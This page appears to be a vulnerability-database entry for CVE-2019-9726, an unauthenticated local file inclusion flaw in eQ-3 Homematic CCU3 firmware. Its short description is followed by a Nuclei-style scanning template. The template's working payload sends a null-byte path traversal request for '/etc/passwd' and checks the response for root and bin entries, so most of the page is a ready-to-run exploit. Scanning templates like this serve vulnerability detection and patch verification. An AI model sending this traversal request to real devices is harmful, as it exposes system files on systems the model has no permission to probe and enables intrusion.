CVE-2019-9726: Homematic CCU3 - Local File Inclusion

2025-08-01 Homematic CCU3 PoC Public

Description

eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem, aka local file inclusion. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.

PoC

id: CVE-2019-9726

info:
  name: Homematic CCU3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem, aka local file inclusion. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor.
  reference:
    - https://atomic111.github.io/article/homematic-ccu3-fileread
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9726
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9726
    cwe-id: CWE-22
    epss-score: 0.16342
    epss-percentile: 0.96793
    cpe: cpe:2.3:o:eq-3:ccu3_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eq-3
    product: ccu3_firmware
  tags: cve2019,cve,homematic,lfi,eq-3,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.%00./.%00./etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "bin:.*:0:0:"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009af9b3efdbbf9a1081e2042cbb1df02de9d159f38a25d5542cd3706d888b3e3c022073eb60ad10f7d6248860de7d6e879f49b111057fc76e0cd0a13f2b559b90ddbe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities